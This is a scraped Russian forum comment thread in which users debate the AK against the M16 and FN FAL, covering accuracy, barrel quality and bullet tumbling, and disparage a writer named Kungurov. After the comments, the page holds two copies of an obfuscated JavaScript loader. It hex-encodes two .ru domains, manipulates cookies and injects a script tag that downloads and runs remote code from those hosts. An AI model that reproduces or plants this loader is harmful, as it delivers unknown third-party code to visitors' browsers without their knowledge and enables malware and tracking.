Это хорошо говорить, мол солдаты нато из своих м-16 и фн-фал на 2 км тебя не подпустят а будут издали долбить вертолётами и миномётами. В реальной обстановке ещё поди найди такую местность где ты на 2 км простреливать будешь, да найди такого стрелка, который на 2 км будет попадать. В пустыне иракской оно полегче, а вот во вьетнамских джунглях как? А вот песок или грязь в ствольную коробку всегда найдёшь.
Насчёт мягкого ствола - это да, материалы в СССР для всяких оружий были не высший сорт, экономили. Штык-нож перекаленная конструкционная сталь, хрупкая, ствол мягкий, гнётся если им в твёрдое стукнуть, тогда уже никуда не попадёшь никогда. Ну так не ломай стволом кирпич, для этого у десантника голова есть и её специально в вдв тренировали.
ну, и еще про кунгурова,
ну, и еще про кунгурова, чтоб его подленькую натурку до конца выявить.
Он сравнивает оружие под винтовочный патрон, фнфал, м16 с оружием под промежуточный патрон ак.
Ну так нельзя, это как тонны с километрами сравнить. Фнфал и м16 надо сравнивать с драгуновкой, то есть с свд по кучности и дальности. И что то мне подсказывает, что сравнение будет не в пользу фнфал и м16.
То есть кунгуров пойдет на любой подлог ради привлечения внимания к своей не слишком выдающейся персоне.
Гостю. Мне лично вам
Гостю. Мне лично вам возразить нечего. Разве насчет М-16. ЕМНИП патрон под нее изначально был охотничьим. Т.е. более убойный чем его военные коллеги. Животные то живучей человека.
сравнение будет не в пользу фнфал и м16.
характеристик у оружия еще очень много, такие еще есть: вес, скорострельность, темп стрельбы. Простота обслуживания. М16 ничем АК (в 1949, на момент принятия на вооружение, это означало Автоматический Карабин) не уступает. Кроме цены. И чистить АК после стрельбы, кстати, надо всегда и прилежно! Ну, если в воду-песок уронил -- просто вытрясти сифятник -- стрелять будет без проблем. Как М16 -- не знаю. Пули для АК, всех калибров, имеют аэродинамический центр ближе к дну, чем цент массы. и пуля начинает вращаться при попадании в среду с другой плотностью. Бывает, что и воздух разной температуры заставляет ее кувыркаться. И чем меньше калибр, тем остойчивость хуже.
Ну, если кто-то найдет за $800 что-то близко похожее на Калаша -- я буду очень удивлен!
Джокеру. Кувыркающиеся в
Джокеру. Кувыркающиеся в воздухе пули это очень серьезный недостаток. Ни дальности, ни точности, ни пробивной способности.
F16-му
"Кувыркание" пули из нарезного оружия -- явление зауряднейшее, есть немного больше чем всегда. Описано во всех учебниках. И присуща эта незадача всем это нарезным ствола -- кроме спецоружия. Типа снайперского. Чего кунгур-берды взъерепенился-то? Из всякого фуфла делать далеко идущие выводы -- делает "сенсацию" на пустом месте.
Ствол АК к перегреву очень устойчив -- перегрелся (все может быть в очумелых ручках), начал плеваться пулями (диаметр ствола стал слишком велик) -- сунул в воду, вытряс воду и стреляй по новой.
Джокеру. ""Кувыркание
Джокеру. ""Кувыркание пули..............явление зауряднейшее........" Блеск!!!Сами поняли что ляпнули? А зачем твообще огда ствол делать нарезным если снаряд все равно будет кувыркаться в полете? ЕМНИП ствол делают нарезным чтобы снаряд летел дальше и точнее. Учите матчасть, точнее гироскопический эффект.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20828",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="20828",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ymuhin.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Отправить комментарий